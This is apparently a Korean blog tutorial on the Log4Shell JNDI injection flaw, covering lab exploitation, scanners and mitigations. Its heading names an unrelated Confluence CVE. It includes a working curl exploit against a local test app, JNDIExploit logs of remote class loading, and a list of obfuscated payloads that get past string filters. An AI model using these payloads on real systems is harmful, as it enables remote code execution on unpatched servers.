CVE-2022-26134
Atlassian Confluence RCE
Log4Shell(CVE-2021-44228) 취약점은 자버언어로 제작된 Log4j 라이브러리를 사용하는 대부분의 인터넷 서비스에서 발생하는 최악의 취약점이라고 불리며 하트블리드, CPU 게이트보다 더 한 파급력을 보유한 IT 최대 보안 이슈로 최악의 보안 결함(트리거 자체가 너무 쉽고 로깅 특성상 외부에 노출된 서버 말고도 내부까지 영향을 끼칠 수 있음) 이라고 불리고 있습니다.
2021년 12월 10일 마인크래프트의 통신 서버를 제작하는 PaperMC에서 해당 취약점을 이용한 대규모 해킹 시도를 포착하여 긴급 공지 및 취약점 수정에 들어간 것을 계기로 전 세계적으로 알려진 취약점입니다.
그 이유는 서버에 로그인하는 것만으로 해커가 사용자의 컴퓨터를 RCE(원격 코드 실행)을 할 수 있기 때문입니다.
로그4j(Log4j)란 기업 홈페이지 등 인터넷 서비스 운영-관리 목적의 로그기록을 남기기 위해 사용하는 프로그램으로 Log4j 2 중에 존재하는 JNDI(Java Naming and Directory Interface)인젝션 취약점으로 2013년도에 나온 2.0 beta버전부터 최신버전까지 영향을 받으며 이를 악용하면, 악성 코드 실행(RCE)가 가능합니다.
공격 코드 ${jndi:ldap://attacker_domain} 로 log4j가 JNDI를 통해 공격자 도메인으로 요청을 전송하고 공격자가 JNDI exploit을 미리 준비해 두었다면 code execution이 가능합니다.
Log4Shell sample Vulnerable application 서버 설치 및 공격 진행 깃허브 주소
https://github.com/christophetd/log4shell-vulnerable-app
Base64 인코딩을 통해 touch /tmp/pwned 를 생성하는 공격코드입니다
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
JNDIExploit의 출력은 악성 LDAP 응답을 보내고 2단계 페이로드를 제공했음을 보여줍니다.
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.1.143:50119 /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
공격 코드 실행 성공 시 피해자의 서버에서 ls 로 확인해보면 /tmp에 pwned 파일이 생성된것을 확인할 수 있습니다.
$ docker exec vulnerable-app ls /tmp
...
pwned
...
현재 버전 업데이트가 어려워 문자열 필터링으로 대응을 하는 곳도 있는데 문자열같은 경우 아래와 같은 방법으로 우회를 진행할 수도 있습니다.
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
버프스위트의 Extender에서 설치하여 Log4j2rce 에 취약한지 스캔을 해주는 기능입니다
우선 Log4jshell 에 취약한 경량화 HTTP 서버를 설치하여 실행시켜 줍니다.
https://github.com/jas502n/Log4j2-CVE-2021-44228
서버 실행
그 후 아래의 깃헙에서 BurpLog4j2Scan.jar 파일을 설치하여 Burp의 Extender에 추가시켜 줍니다.
https://github.com/tangxiaofeng7/BurpLog4j2Scan
실행하였던 서버의 주소 127.0.0.1:8080 로 접속하여 파라미터가 넘어가는 부분에서 스캐너를 작동시켜주면 공격코드 ${jndi:ldap://attacker_domain}가 입력되며 공격에 취약한지 아닌지 스캔을 자동으로 해 줍니다.
200응답의 로그인 페이지
스캐너 작동
공격 코드 입력 및 취약점 발견
아웃풀 결과
스캐너 외에 또다른 자체 취약점 스캔 방법으로는 아래와 같은 방법이 있습니다.
https://github.com/logpresso/CVE-2021-44228-Scanner
윈도우,리눅스 스캐너 파일
CMD> log4j2-scan.exe D:\tmp
[*] Found CVE-2021-44228 vulnerability in D:\tmp\elasticsearch-7.16.0\bin\elasticsearch-sql-cli-7.16.0.jar, log4j 2.11.1
[*] Found CVE-2021-44228 vulnerability in D:\tmp\elasticsearch-7.16.0\lib\log4j-core-2.11.1.jar, log4j 2.11.1
[*] Found CVE-2021-44228 vulnerability in D:\tmp\flink-1.14.0\lib\log4j-core-2.14.1.jar, log4j 2.14.1
[*] Found CVE-2021-44228 vulnerability in D:\tmp\logstash-7.16.0\logstash-core\lib\jars\log4j-core-2.14.0.jar, log4j 2.14.0
[*] Found CVE-2021-44228 vulnerability in D:\tmp\logstash-7.16.0\vendor\bundle\jruby\2.5.0\gems\logstash-input-tcp-6.2.1-java\vendor\jar-dependencies\org\logstash\inputs\logstash-input-tcp\6.2.1\logstash-input-tcp-6.2.1.jar, log4j 2.9.1
[*] Found CVE-2021-44228 vulnerability in D:\tmp\solr-7.7.3\solr-7.7.3\contrib\prometheus-exporter\lib\log4j-core-2.11.0.jar, log4j 2.11.0
[*] Found CVE-2021-44228 vulnerability in D:\tmp\solr-7.7.3\solr-7.7.3\server\lib\ext\log4j-core-2.11.0.jar, log4j 2.11.0
[*] Found CVE-2021-44228 vulnerability in D:\tmp\solr-8.11.0\contrib\prometheus-exporter\lib\log4j-core-2.14.1.jar, log4j 2.14.1
[*] Found CVE-2021-44228 vulnerability in D:\tmp\solr-8.11.0\server\lib\ext\log4j-core-2.14.1.jar, log4j 2.14.1
Scanned 5047 directories and 26251 files
Found 9 vulnerable files
Completed in 0.42 seconds
log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경변수를 true로 설정
JndLookup 클래스를 경로에서 제거 : zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class